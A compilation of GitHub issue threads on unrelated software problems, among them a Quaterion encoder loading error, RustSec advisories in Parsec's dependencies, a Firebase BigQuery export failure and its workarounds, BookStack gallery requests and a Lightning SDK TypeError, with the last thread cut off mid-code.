error while serving the model

I am getting the following error.
File "/betterapp.ai/clustering/trainer/quaterion/serving.py", line 4, in get_model
   model = SimilarityModel.load(path)
 File "/usr/local/lib/python3.10/dist-packages/quaterion_models/model.py", line 233, in load
   encoders[encoder_key] = encoder_class.load(
 File "/betterapp.ai/clustering/trainer/quaterion/encoders.py", line 44, in load
   return BetterAppEncoder(input_path)
 File "/betterapp.ai/clustering/trainer/quaterion/encoders.py", line 11, in __init__
   self.encoder = SentenceTransformer(pretrained_name)
 File "/usr/local/lib/python3.10/dist-packages/sentence_transformers/SentenceTransformer.py", line 97, in __init__
   modules = self._load_auto_model(model_path)
 File "/usr/local/lib/python3.10/dist-packages/sentence_transformers/SentenceTransformer.py", line 806, in _load_auto_model
   transformer_model = Transformer(model_name_or_path)
 File "/usr/local/lib/python3.10/dist-packages/sentence_transformers/models/Transformer.py", line 28, in __init__
   config = AutoConfig.from_pretrained(model_name_or_path, **model_args, cache_dir=cache_dir)
 File "/usr/local/lib/python3.10/dist-packages/transformers/models/auto/configuration_auto.py", line 852, in from_pretrained
   config_dict, unused_kwargs = PretrainedConfig.get_config_dict(pretrained_model_name_or_path, **kwargs)
 File "/usr/local/lib/python3.10/dist-packages/transformers/configuration_utils.py", line 565, in get_config_dict
   config_dict, kwargs = cls._get_config_dict(pretrained_model_name_or_path, **kwargs)
 File "/usr/local/lib/python3.10/dist-packages/transformers/configuration_utils.py", line 620, in _get_config_dict
   resolved_config_file = cached_file(
 File "/usr/local/lib/python3.10/dist-packages/transformers/utils/hub.py", line 380, in cached_file
   raise EnvironmentError(
OSError: /data/betterapp.ai/output/cluster_trainer/quaterion/betterapp/encoders/default does not appear to have a file named config.json. Checkout 'https://huggingface.co//data/betterapp.ai/output/cluster_trainer/quaterion/betterapp/encoders/default/None' for available files.

My files are as follows:
models.py
from typing import Any, Dict, List, Union
from quaterion import TrainableModel
from quaterion_models.encoders import Encoder
from quaterion_models.heads import EncoderHead, GatedHead
from quaterion.loss import SimilarityLoss, SoftmaxLoss
from .encoders import BetterAppEncoder
import torch

class Model(TrainableModel):
    def __init__(
        self,
        pretrained_name: str = "paraphrase-multilingual-MiniLM-L12-v2",
        num_groups: int = 27,
        lr: float = 3e-5,
    ):
        self._pretrained_name = pretrained_name
        self._num_groups = num_groups
        self._lr = lr
        super().__init__()

    def configure_encoders(self) -> Union[Encoder, Dict[str, Encoder]]:
        return BetterAppEncoder(self._pretrained_name)

    def configure_head(self, input_embedding_size) -> EncoderHead:
        return GatedHead(input_embedding_size)

    def configure_loss(self) -> SimilarityLoss:
        return SoftmaxLoss(self.model.head.output_size, self._num_groups)

    def configure_optimizers(self):
        optimizer = torch.optim.Adam(
            [
                {"params": self.model.parameters(), "lr": self._lr},
                {"params": self.loss.parameters(), "lr": self._lr * 10.0},
            ]
        )

        return optimizer

serving.py
from quaterion_models import SimilarityModel

def get_model(path):
    model = SimilarityModel.load(path)
    return model

encoders.py
import os
from quaterion_models.encoders import Encoder
from quaterion_models.types import CollateFnType
from typing import Any, Dict, List, Union
from sentence_transformers import SentenceTransformer

class BetterAppEncoder(Encoder):
    def __init__(self, pretrained_name: str):
        super().__init__()
        print(pretrained_name)
        self.encoder = SentenceTransformer(pretrained_name)

        self._pretrained_name = pretrained_name

    @property
    def trainable(self) -> bool:
        return False

    @property
    def embedding_size(self) -> int:
        return self.encoder.get_sentence_embedding_dimension()

    def get_collate_fn(self) -> CollateFnType:
        return self.extract_texts

    def extract_texts(self, batch: List[Union[str, Dict[str, Any]]]):
        if isinstance(batch[0], str):
            return batch
        elif isinstance(batch[0], Dict):
            return [item["description"] for item in batch]
        else:
            raise TypeError("Expecting list of strings or dicts as inputs")

    def forward(self, inputs):
        return self.encoder.encode(
            inputs, convert_to_numpy=False, convert_to_tensor=True
        )

    def save(self, output_path: str):
        self.encoder.save(os.path.join(output_path, self._pretrained_name))

    @classmethod
    def load(cls, input_path: str) -> "Encoder":
        return BetterAppEncoder(input_path)

Can you please help me with this since I am stuck here for a while?

Hi @nizamsp, from the error output, I understand that you are using a model from the Transformers package. In this case, you need to save it with their method .save_pretrained() in your custom Encoder implementation and re-load it with .from_pretrained(). If your encoder is not trainable, i.e., if you are training only EncoderHead, then you don't need to save it at all, you can do pass in the .save() method and load the pretrained Transformers model as usual in .load() method of your encoder.

Thanks for the quick reply. I saved the model using save_servable and trying to serve it to get embedding via
    model = SimilarityModel.load(path) and model.encode

    model = Model(num_groups=dataset.get_num_industries(), lr=3e-5)

    train_dataloader = GroupSimilarityDataLoader(dataset, batch_size=64, shuffle=True)

    trainer = pl.Trainer(accelerator="auto", devices=1, num_nodes=1, max_epochs=30)

    Quaterion.fit(
        trainable_model=model,
        trainer=trainer,
        train_dataloader=train_dataloader,
    )

    model.save_servable("/data/betterapp.ai/output/cluster_trainer/quaterion/betterapp")

I am trying to make this code example given here https://github.com/qdrant/quaterion/blob/master/examples/train_startup_search.py to get embeddings after fine tuning.

I had to do the following to get the encoding. In this file https://github.com/qdrant/quaterion/blob/master/examples/train_startup_search.py the save and load are inconsistent

    def save(self, output_path: str):
        self.encoder.save(os.path.join(output_path, self._pretrained_name))

    @classmethod
    def load(cls, input_path: str) -> "Encoder":
        return StartupEncoder(input_path)

I changed
        self.encoder.save(os.path.join(output_path, self._pretrained_name))

to
        self.encoder.save(output_path)

Hope I am doing the right fix.

Oh, you're right. This example is from early stages of Quaterion and definitely not the best possible example out there. I'll fix it.

Completed in #194


Cargo audit failing

As can be seen here, cargo-audit fails due to a number of issues occurring lower in the crate dependency tree. Thus we cannot fix any of the issues directly by updating dependencies of Parsec (yet), but we might be able to help with updating our dependencies in that regard.
The main issue that must be fixed is the segfault that was discovered in time, which is ultimately a dependency of spiffe. Currently a fix for this is blocked because the PR attempting to bump the import in chrono is stalled (see here).
The other issues regarding yanked versions of const-oid and der are waiting for updates up in the chain, which end up feeding into spiffe again. Our plan of action should be to report this to the owner of spiffe, and whenever updates are available to help with patching them there.

[ ] time dependency fixed
[ ] der and const-oid dependencies fixed

The more pressing, time-related vulnerability has the following "culprits" in our dependency tree (NOTE that although these crates use the vulnerable versions of time and chrono, they don't necessarily use the vulnerable methods):
Crate:         chrono
Version:       0.4.19
error: 3 vulnerabilities found!
Title:         Potential segfault in `localtime_r` invocations
Date:          2020-11-10
ID:            RUSTSEC-2020-0159
URL:           https://rustsec.org/advisories/RUSTSEC-2020-0159
Solution:      No safe upgrade is available!
Dependency tree:
chrono 0.4.19
├── x509-parser 0.9.2
│   └── spiffe 0.2.0
│       └── parsec-service 0.8.1
├── spiffe 0.2.0
├── simple_asn1 0.5.4
└── simple_asn1 0.4.1

Crate:         time
Version:       0.1.44
Title:         Potential segfault in the time crate
Date:          2020-11-18
ID:            RUSTSEC-2020-0071
URL:           https://rustsec.org/advisories/RUSTSEC-2020-0071
Solution:      Upgrade to >=0.2.23
Dependency tree:
time 0.1.44
└── chrono 0.4.19
    ├── x509-parser 0.9.2
    │   └── spiffe 0.2.0
    │       └── parsec-service 0.8.1
    ├── spiffe 0.2.0
    ├── simple_asn1 0.5.4
    └── simple_asn1 0.4.1

There is also a problem with rusqlite that I will fix in a new PR shortly:
Crate:         rusqlite
Version:       0.25.3
Title:         Incorrect Lifetime Bounds on Closures in `rusqlite`
Date:          2021-12-07
ID:            RUSTSEC-2021-0128
URL:           https://rustsec.org/advisories/RUSTSEC-2021-0128
Solution:      Upgrade to >=0.26.2 OR ^0.25.4
Dependency tree:
rusqlite 0.25.3
└── parsec-service 0.8.1

The vulnerability related to chrono/time has been posted as a security advisory here and this PR is removing it from the list of vulnerabilities reported by cargo-audit.


Feature/debian-s3 support parquet compress

For support parquet compress.

upgrade fluent-s3-plugin to 1.6.0
install columnfy 0.1.0

Thanks!
but we don't directly modify these files.
Could you follow
https://github.com/fluent/fluentd-kubernetes-daemonset/blob/master/MAINTAINING.md#updating ?

Hi @kenhys ,
Okay, I see. I'll modify it.
Do I need to re-generate all the different plugins or just for S3?

Use <% if target == "s3" %>...<% end %> in Dockerfile.erb, then regenerating just for s3 is enough.

Hi @kenhys ,
Do I need to update all the files in docker-image or just these two template files?

Thanks  @chancez


Error when mirroring data to BigQuery PartialFailureError

[REQUIRED] Step 2: Describe your configuration

Extension name: Export Collections to BigQuery
Extension version: 0.1.2

[REQUIRED] Step 3: Describe the problem
I set up the extension and upon inserting a document in Firestore, Cloud Function throws an error in logs:
Error when mirroring data to BigQuery { PartialFailureError
at request (/srv/node_modules/@google-cloud/bigquery/build/src/table.js:1548:23)
at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:141:9)
at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:422:22)
at onResponse (/srv/node_modules/retry-request/index.js:206:7)
at /srv/node_modules/teeny-request/build/src/index.js:222:13
at
at process._tickDomainCallback (internal/process/next_tick.js:229:7)
errors: [ { errors: [Array], row: [Object] } ],
name: 'PartialFailureError',
response:
{ kind: 'bigquery#tableDataInsertAllResponse',
insertErrors: [ [Object] ] },
message: '' }
And of course, there is no data in BigQuery table.
I saw there were similar errors in the recent past regarding batch import but since this is in Cloud Function, I'm creating a separate issue.
Cloud Function source location
https://storage.cloud.google.com/firebase-mod-sources-prod/e1a82bec6981c73a5fe6bff28483f3125ca703584c5fad43d1c4b7fa0f67d388

I am seeing the same error for extensions installed in the last 24 hours. In some cases we get a permission denied error as well as the error above, even though the IAM roles look correct. Identical extensions installed day before yesterday are working fine:
    at Util.parseHttpRespBody (/srv/node_modules/@google-cloud/common/build/src/util.js:190:38)
    at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:134:117)
    at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:422:22)
    at onResponse (/srv/node_modules/retry-request/index.js:206:7)
    at /srv/node_modules/teeny-request/build/src/index.js:222:13
    at <anonymous>
    at process._tickDomainCallback (internal/process/next_tick.js:229:7)
  code: 403,
  errors:
   [ { message: 'Access Denied: Dataset <project>:firestore_export: User does not have bigquery.datasets.get permission for dataset <project>:firestore_export.',
       domain: 'global',
       reason: 'accessDenied' } ],
  response: undefined,
  message: 'Access Denied: Dataset i<project>:firestore_export: User does not have bigquery.datasets.get permission for dataset <project>:firestore_export.' }```

I'm  facing the exact same issue as @zdenulo
Following this thread

Same here

Hi @zdenulo, there was a fix for the firestore-bigquery-export that was merged into master (#193). I suggest tracking the @firebaseextensions/firestore-bigquery-change-tracker package for its latest release which ought to fix the PartialFailureError you're currently experiencing.

@russellwheatley thanks for the info. Didn't you mean perhaps #192? I did my deployment via firebase web console. I now checked, i.e. downloaded code from the url I included (and based on which my Cloud Function is deployed) and CHANGELOG file there it says that it's release 0.1.2 which contains fixes for #192, #193 and #197. Maybe I'm missing something, Javascript/NodeJS/Typescript is exactly my area. on NPM latest release is 0.1.1

Same error here , tried but failed again.
Can anyone help??

Sorry, you're correct, it is #192. I've updated my comment for anyone else coming to this thread. This is the package you ought to be tracking: https://www.npmjs.com/package/@firebaseextensions/firestore-bigquery-change-tracker. I would ignore the version number as it has been incorrectly set. This package is nested within the firestore-bigquery-export. Here is a reference to it: https://github.com/firebase/extensions/tree/next/firestore-bigquery-export/firestore-bigquery-change-tracker

@russellwheatley thanks for the clarification.

@russellwheatley Thanks for looking into this bug. Do you have a rough idea of when a new version of @firebaseextensions/firestore-bigquery-change-tracker will be published?

Same issue here. Following as well.

I'll join the followers

I have same issue now. Following as well.

Same here. Following as well

I will update this thread once it has been published, but I don't know when it will be published as It isn't my decision I'm afraid.

I have the same issue here. Had it installed last week into the our dev project . It is still working.
But then yesterday try to add BigQuery using Console to our Alpha project as previously done  with dev.
But in this case, we have the partial error :

And no data are being transferred to BigQuery.

I encountered same issue while I'm mirroring my collection to BigQuery
Error when mirroring data to BigQuery { PartialFailureError     at request (/srv/node_modules/@google-cloud/bigquery/build/src/table.js:1548:23)     at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:141:9)     at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:422:22)     at onResponse (/srv/node_modules/retry-request/index.js:206:7)     at /srv/node_modules/teeny-request/build/src/index.js:222:13     at <anonymous>     at process._tickDomainCallback (internal/process/next_tick.js:229:7)   errors: [ { errors: [Array], row: [Object] } ],   name: 'PartialFailureError',   response:     { kind: 'bigquery#tableDataInsertAllResponse',      insertErrors: [ [Object] ] },   message: '' }

Same issue & following as well.

Same issue here. @russellwheatley, can the update be used on some beta-channel already?
The issue made exporting impossible for almost 2 months now.

For everyone searching for a temporary solution, check out the workaround by @joaqcid: https://github.com/firebase/extensions/issues/192#issuecomment-584132076 and https://github.com/firebase/extensions/issues/192#issuecomment-584632553. Worked well for me 👍

Same issue here! Not really sure how to implement the workaround listed.

@IanWyszynski looks like when they merged the fix the forgot to bump @firebaseextensions/firestore-bigquery-change-tracker, its still using old version

the workaround works if you want to run the import manually @mindyzwan

@joaqcid The bigquery-export package does need  this package bumping@firebaseextensions/firestore-bigquery-change-tracker at some point. It isn't necessary however, as the bigquery-export extension is installing the latest minor version because it is using the caret symbol in the package.json: https://github.com/firebase/extensions/blob/master/firestore-bigquery-export/package.json#L23.
It is more important to publish the fix you created in #192 that was merged in 27 days ago. The last time @firebaseextensions/firestore-bigquery-change-tracker was published was 2 months ago.

+1 running into the same issue with a Firestore database using the BigQuery extension.
Error when mirroring data to BigQuery { PartialFailureError
    at request (/srv/node_modules/@google-cloud/bigquery/build/src/table.js:1548:23)
    at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:141:9)
    at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:422:22)
    at onResponse (/srv/node_modules/retry-request/index.js:206:7)
    at /srv/node_modules/teeny-request/build/src/index.js:222:13
    at <anonymous>
    at process._tickDomainCallback (internal/process/next_tick.js:229:7)
  errors: [ { errors: [Array], row: [Object] } ],
  name: 'PartialFailureError',
  response:
   { kind: 'bigquery#tableDataInsertAllResponse',
     insertErrors: [ [Object] ] },
  message: '' }

@pmohun What I did was download this library from the comment above. https://github.com/firebase/extensions/issues/192#issuecomment-590147765
Checkout the run-manual-import branch. Then ZIP the export.
git clone git@github.com:joaqcid/extensions.git
cd extensions
git checkout run-manual-import
zip archive.zip -r firestore-bigquery-export

Then I went to GCP, find the Function Details of it in my project, hit the Edit button.
I uploaded the zip into a storage bucket I had to create. And now it is running fine.

@chhib thanks, this looks to have worked for me. If anyone else gets the error File index.js or function.js that is expected to define function doesn't exist in the root directory just make sure you zip the files inside the firestore-bigquery-export directory not the directory itself (like I did).

@chhib thanks, It did work for me.
@edward-armstrong, yes I had to zip the files inside  the firestore-bigquery-export directory not the directory itself.
So for me steps were:
git clone git@github.com:joaqcid/extensions.git
cd extensions
git checkout run-manual-import
cd firestore-bigquery-export
zip archive.zip -r
Thank you,
Stephane
Note: I had error first but I created a bucket to store the zip file and then use the option ZIP from Cloud Storage instead ZIP Upload option.

Hey , same happening here! it was working already fine for other 3 collections. But when i install the extension four the 4th time, for another collection, it stopped working! Same error

 Error when mirroring data to BigQuery { PartialFailureError
    at request (/srv/node_modules/@google-cloud/bigquery/build/src/table.js:1548:23)
    at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:141:9)
    at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:422:22)
    at onResponse (/srv/node_modules/retry-request/index.js:206:7)
    at /srv/node_modules/teeny-request/build/src/index.js:222:13
    at <anonymous>
    at process._tickDomainCallback (internal/process/next_tick.js:229:7)
  errors: [ { errors: [Array], row: [Object] } ],
  name: 'PartialFailureError',
  response:
   { kind: 'bigquery#tableDataInsertAllResponse',
     insertErrors: [ [Object] ] },
  message: '' }

Same issue here. Following as well!

Same error! When this will be fixed??

Anyworkaround?

Hi, the package has been updated on NPM, and we are updating the extension's dependency in this week's release: https://github.com/firebase/extensions/pull/249/files
Sorry for the long delay!

subscribing.
I've got this issue after updating to 0.1.2 version.
2 exports out of 3 work well.

@stari4ek 0.1.3 has the update, the extension is currently 0.1.2

I updated extension to 0.1.3 in Firebase UI and it looks like it's working ok now.

Thanks for the update @zdenulo ! Closing this issue now.

Hello folks! I hope I don't resurrect this issue unnecessarily. But maybe was a regression in version 0.1.6.
I noticed today after upgrade from 0.1.5 to 0.1.6 through firebase extension UI the following error. I have other ext-firestore-bigquery in same project running in 0.1.5 that works like a charm.
Someone can help me confirming that?
ext-firestore-bigquery-vouchercosts-fsexportbigquery
Error when mirroring data to BigQuery { PartialFailureError
    at request (/srv/node_modules/@firebaseextensions/firestore-bigquery-change-tracker/node_modules/@google-cloud/bigquery/build/src/table.js:1550:23)
    at util.makeRequest.params (/srv/node_modules/@google-cloud/common/build/src/util.js:367:25)
    at Util.handleResp (/srv/node_modules/@google-cloud/common/build/src/util.js:144:9)
    at retryRequest (/srv/node_modules/@google-cloud/common/build/src/util.js:432:22)
    at onResponse (/srv/node_modules/retry-request/index.js:206:7)
    at /srv/node_modules/teeny-request/build/src/index.js:233:13
    at <anonymous>
    at process._tickDomainCallback (internal/process/next_tick.js:229:7)
  errors: [ { errors: [Array], row: [Object] } ],
  name: 'PartialFailureError',
  response:
   { kind: 'bigquery#tableDataInsertAllResponse',
     insertErrors: [ [Object] ] },
  message: '' }

Hi @cubissimo it's not possible to downgrade unfortunately, but you could uninstall the extension, and reinstall an older version of the extension via the CLI by running:
firebase ext:install<EMAIL_ADDRESS>--project=your-project-id
@russellwheatley Could you please see if you can repro this issue?

Hey @cubissimo, I've just installed version 0.1.6 and I had no problem mirroring data from Firestore:

Could you provide further context for reproducing this error, please? 😄

We are also seeing PartialFailureErrors after upgrading to 0.1.6. Unfortunately I can not give more information because a PartialFailureError does not get logged in a way that allows looking at the individual errors in the errors field.

I've just tried this again starting with version 0.1.5, creating a table and upgrading to version 0.1.6 via the Firebase UI and I didn't encounter this error.
However, I have an idea what might be happening. @cubissimo @neelance, do you mind letting me know if your changelog table has the document_id column?  Thanks.

There is no document_id column.

Ok, think I understand the problem. The firestore-bigquery-change-tracker is expecting a table that has a document_id column. I do apologise for this, but the way around it is to delete your changelog table. It will be recreated with a document_id column the next time a document is added to the Firestore collection associated with it. To backfill your data you can use the import script here.

We're working on a fix right now for this and will likely push a version of the extension with this fix. Thanks so much for the feedback!

Awesome! Are you going to improve the logging, too?

I had this same issue after updating from 0.1.5 to 0.1.6, I was able to get it working again by manually adding a document_id column via the BigQuery console. @karayu I expect this is also an ok workaround to get it working quicker since dropping and then re-importing would be a long process with the amount of data we'd have to backfill.

The fix for this is in #398

We've released a new version of the extension, 0.1.7, that contains the fix. You should be prompted to update in the Firebase console, or can update via the CLI.

The update worked fine. Thanks for your work.

@jhuleatt Unfortunately this resulted in bad data. The *_latest views were returning documents twice, one with document_id set and one without.
I now resorted to dropping and backfilling all tables.

@russellwheatley can you please take a look at this and see if we need to investigate another fix, or if it can be closed?

@jhuleatt I installed version 0.1.5 (pre document id column feature) & inserted two documents via Firestore. I upgraded to version 0.1.7 and inserted one document. The latest & changelog  table appeared as expected; the two documents inserted using version 0.1.5 had a null value in the document_id column.
The document inserted using version 0.1.7 had a document_id column with its Firestore document id as its value.

As far as I can tell, there isn't an issue with this fix #398. I'm going to close this issue, and any further problems should have a new issue associated with it.


Screenshots tests

Screenshot tests works like this:
It creates screenshots using cypress test.
It runs either as master (using cron) mode or in pull request mode (thus variable COMPARE SCREENSHOTS true for PR and false for master mode).
In master mode, it only creates screenshots and cache them.
In PR mode, it compares screenshots that were made on the PR with retrieved master screenshots from cache.
Then, the test fails if there is some difference (with minimum treshold tolerance) between master and PRs screenshots. Image differences are part of uploaded artifacts data.

@MilanPospisil I've cleaned up the whitespace issues, removed some commented out code here, fixed the cache invocation, added support for SHORT_BRANCH other than master, and made the tool keep the visual diffs so we can see them in screenshots when this fails.
I think we could test this on master, WDYT?

The history here is broken, there are commits that should not be here doing things different from what they're saying, clean it up please in the next rebase.
And looking at some of the changes we should set a specific goal here, which should IMO be:

when running on master, run screenshots test to create screenshots, ensure they end up in cache
when running against a PR, fail on missing cache, run screenshots tests to create screenshots, fail on differences

You mean I should rebase -i master and squash those commits?I dont know why your commits got into this PR. Was that something about rebasing onto your PR?

You mean I should rebase -i master and squash those commits

Yeah, sounds reasonable. Actually reading those commits and removing the ones that are not needes is probably better, but whichever works.

The goals - I dont think it should fail on non-dependabots PRs,

The point is to get something done and merged so we can use it. The check failing is the easiest way of doing that, and we can deal with commenting on the PR in a separate PR. If the check doesn't do anything user-visible when there are changes, it's useless.

:tada: worked in https://github.com/ansible/ansible-hub-ui/actions/runs/3819922593/jobs/6498007657 (#3126)
But there are still some changes visible..
screenshots.js/__repositories.png
4713.93

screenshots.js/__users.png
1024.67

__repositories: last updated N minutes ago number mismatch
__users: created N minutes ago number mismatch


[REQ] Insert Multiple Images & Image Gallery Feature

Hi,
I've been trying to use BookStack as an internal documentation tool for my (design) studio,
but inserting multiple images to a page is cumbersome and not pretty.
Describe the feature you'd like
It would be really nice to have a simple Image Gallery feature in BookStack.
When you want to upload a bunch of images into a page, you have to go through each one to insert it, its tidious and doesn't look very nice.
A simple gallery grid (maybe with lightbox popup) would be nice to have.
Also there is no possibility to select multiple images in the uploaded files view to insert them all at once.
Describe the benefits this feature would bring to BookStack users
Faster and more convenient inserting and updating of pictures. Possibility of pages with galleries.
TLDR

Select multiple images in "Insert Image" Popup.
Display images as gallery grid or similar.

Is there a way I could integrate lightbox or similar into the page myself?
Thanks!

I absolutely second this, it's a feature I basically would need right now for a „book“ I'm working on.
I mean what do you do, if you need to show someone for instance the current situation of a problem as solved by others/competitors or if you want to present someone what you have in mind through a moodboard?  The current workaround is to link a Pinterest or Flickr gallery for instance, which has the disadvantage that you can’t be sure that the reader actually visits the link.

@ssddanbrown ,
You and the contributors have built a great application.  I'm in the process of migrating from using Google Docs and Zoho Drive for client information to a self-hosted solution and BookStack caught my eye.  I was looking at a node-based wiki, but as a PHP dev I'd rather use an open source project I can tweak if need be.
I often  have schema diagrams, update demo videos, spec docs, etc... for clients and having to download any attachment to view it is a bit cumbersome for that use case.
I thought through a few possible approaches and landed on this because I think it sticks closely to the data model you have and is therefore more of a UI enhancement than anything else.  Since changes to attachments are already saved immediately, it seems a simple solution might be:

Extend the book view to include some icon indicating if a page has attachments (just a helpful bit of data to have at the shelf level)

On Page view (not editor), have the entire center column be a drag & drop area for attachments, upload async, update list in sidebar.

Add page view Action that can toggle between "Page" and "Attachments" view:

When in "Attachments" view mode, show all attachments above the page as thumbnails (type-specific icons for non-image files):

I wanted to reach out before I think about forking to work on this idea.  I would certainly enjoy this feature and may do it just for myself, but if there's a chance you'd want something like this merged in down the road, it would save time on the back end if you have thoughts on at the start (you hate it, like it, would prefer something else, etc...).

Have my blessing as well.  Also needs a media manager so I can upload all my assets ahead of time to use when writing the documents.  But allow them to be shared with other users.

Yep, this is really needed.

I agree. BookStack is already amazing, and this would be a feature that would be awesomingly useful in many usecases.

Came looking for a sort of gallery feature and stumbled on this request. Being able to at the very least show a grid of images without having to use a table would be huge.

Please add a gallery function that will increase our ability to organize and present information. I use bookstack primarily as a knowledge base and a journal. Often I need this function to collect screenshots for my customized how to articles and I need to collect pics of events that I participated in or hosted for others. A picture gallery capable of handling all the standard raster images would be phenomenal.  Thank you for considering this request.

+1

looking for this feature too.

In the meantime I am using a table to display the pictures in a kind of gallery

@gamebird92 Unfortunately tables get cropped depending on the device on which you are looking at them.

+1


Auto switch theme (at night/daytime)

It would be great if you could add some features to auto-switch a theme. Here are some methods to do it:

the first approach is quite simple: A time-based auto switch. So just let the user enter two times and switcheroo will switch automatically.
as mentioned by @adrianolaru in #1 by detecting luminosity with the camera
However as I assume this is a bit difficult you could also just use a mix of 1 and 2 by locating the user (or let him enter geo coordinates) and calculate the sunrise and sunset times where you automatically switch. This way it's e.g. done by satnavs or software like [f.lux] (https://justgetflux.com/).

Basically I would really like the first thing to be implemented and maybe the second and/or third thing as an 'extra-feature'. :smiley:

Hey @rugk, first I need to make this work for atom 1.0, and then will see... I've started using atom again, so I will make time to fix it first...

Okay, great. Of course making it working is more important - but afterwards you can have a look at this idea again.


Keras Custom Functions

I have recently started building Neural Networks and I am currently working on a project to develop a NN for Van der Pol's equation. My problem is that I developed a sequential model with time and mu as inputs. But my loss function is custom (because I needed to compute derivatives etc) and it requires additional external custom parameters (2 arrays of input data and one scalar), which change based on input data. My question is that, I have trained my model, but before predicting, I have to update these loss function parameters (external ones), so do I use model.compile before predicting? Because I have read alot and from what I assume, it degrades the performance of the trained model. Is there any other way to achieve this? please help.

@SuryanarayanaY yes exactly, I have already trained my model and now I want to predict an entirely new dataset. I tried what you said about reloading, and it helps (lesser losses for training data) however, my issue is with the loss function. You said model.predict does not call loss function so that means my stored values (or weights) derived based on training data will be used for the other data I test. That is where my concern is, because the weights won't be updated again, but as my loss function is dependent upon inputs and outputs, logically it should update the model when I give a new dataset. I don't know if its doable though, I will try to predict regardless and see the difference

Hi @MadihaAK ,
model.predict will take inputs and give outputs directly but never update weights.To make the model more robust we use validation_data to test and train the model until we get desired result of validation metrics.
You may customize train_step and loss_function to configure the custom parameters and train the model again. You can refer this guide for custom training demo.
Thanks!


[Question] How Cluster API can work with Crossplane

What happened?

How can we reproduce it?

What environment did it happen in?
Crossplane version:

As far as I can see, both of them help customer deploy Kubernetes clusters on different cloud. How does the integration want to help? Do you want to leverage some existing cluster api providers to help Crossplane provision Kubernetes on different clouds?

Close it, as I got enough info from @hasheddan at https://crossplane.slack.com/archives/C01718T2476/p1626401591299400
Thanks @hasheddan !


Add the license and notice for ConcurrentMapBackedCache.scala

The source code file called ConcurrentMapBackedCache.scala uses the source
code of Spray.
Closes: apache/incubator-openwhisk-release#152

Description

Related issue and scope

[x] I opened an issue to propose and discuss this change (#????)

My changes affect the following components

[ ] API
[ ] Controller
[ ] Message Bus (e.g., Kafka)
[ ] Loadbalancer
[ ] Invoker
[ ] Intrinsic actions (e.g., sequences, conductors)
[ ] Data stores (e.g., CouchDB)
[ ] Tests
[ ] Deployment
[ ] CLI
[ ] General tooling
[ ] Documentation

Types of changes

[ ] Bug fix (generally a non-breaking change which closes an issue).
[ ] Enhancement or new feature (adds new functionality).
[ ] Breaking change (a bug fix or enhancement which changes existing behavior).

Checklist:

[x] I signed an Apache CLA.
[x] I reviewed the style guides and followed the recommendations (Travis CI will check :).
[ ] I added tests to cover my changes.
[ ] My changes require further changes to the documentation.
[ ] I updated the documentation where necessary.

Codecov Report

Merging #3703 into master will decrease coverage by 0.01%.
The diff coverage is 90%.

@@            Coverage Diff             @@
##           master    #3703      +/-   ##
==========================================
- Coverage    74.5%   74.49%   -0.02%
==========================================
  Files         126      127       +1
  Lines        5994     5994
  Branches      392      394       +2
==========================================
- Hits         4466     4465       -1
- Misses       1528     1529       +1

Impacted Files
Coverage Δ

...re/database/MultipleReadersSingleWriterCache.scala
95.74% <ø> (+1%)
:arrow_up:

...whisk/core/database/ConcurrentMapBackedCache.scala
90% <90%> (ø)

...rc/main/scala/whisk/common/ForcableSemaphore.scala
84.61% <0%> (-3.85%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 78308b7...cc695a5. Read the comment docs.

Playground4/1758/ passed.


Crash when selecting .ico

System.Runtime.InteropServices.ExternalException (0x80004005): A generic error occurred in GDI+.
at System.Drawing.Graphics.CheckErrorStatus(Int32 status)
at System.Drawing.Graphics.DrawImage(Image image, Int32 x, Int32 y, Int32 width, Int32 height)
at System.Drawing.Graphics.DrawImage(Image image, Rectangle rect)
at System.Windows.Forms.PictureBox.OnPaint(PaintEventArgs pe)
at System.Windows.Forms.Control.PaintWithErrorHandling(PaintEventArgs e, Int16 layer)
at System.Windows.Forms.Control.WmPaint(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

Sorry about that, thanks for the bug report. I can reproduce this, will get back to you shortly.

Hi - have just released a new build which should now fix this issue, please let me know how this goes for you.
https://github.com/Jonno12345/TileIconify/releases/tag/v2.0.5925.36271


Uncaught TypeError: item._setParent is not a function

Error:
lightning.es5.js:9324 Uncaught TypeError: item._setParent is not a function
    at ElementChildList._connectParent (lightning.es5.js:9324)
    at ElementChildList.onAdd (lightning.es5.js:9330)
    at ElementChildList.addAt (lightning.es5.js:8927)
    at ElementChildList.add (lightning.es5.js:8906)
    at StateMachineRouter.add (Markers.js:24)
    at StateMachineRouter.$move (Game.js:234)
    at StateMachineRouter.fire (lightning.es5.js:11703)
    at StateMachineRouter._doFireAncestors (lightning.es5.js:12921)
    at StateMachineRouter.fireAncestors (lightning.es5.js:12914)
    at StateMachineRouter._handleEnter (Position.js:135)

Components
Markers
import { Lightning } from 'wpe-lightning-sdk';
import Move from '../../modules/Move.mjs';
import Moves from '../../modules/Moves.mjs';
import Marker from './Marker';
export default class extends Lightning.Component {
	set moves(moves = new Moves) {
		this.children = Array.from(moves).map((move = new Move()) => {
			return {
				type: Marker,
				x: move.x,
				y: move.y,
				Label: {
					text: {
						text: marker
					}
				}
			};
		});
	}
	clear() {
		this.childList.clear();
	}
	add(move = new Move()) {
		this.childList.add({
		    type: Marker,
		    x: move.x,
		    y: move.y,
		    Label: {
		        text: {
		            text: move.marker
		        }
		    }
		});
	}
	check(x = new Number(), y = new Number()) {
		const callback = (marker = new Marker()) => marker.x != x || marker.y != y;
		return Array.from(this.children).every(callback);
	}
}

Marker
import { Lightning } from 'wpe-lightning-sdk';
export default class extends Lightning.Component {
	static _template() {
		return {
			rect: true,
			w: 300, // TODO computare
			h: 300, // TODO computare
			color: 0xffff00ff,
			alpha: 0.5,
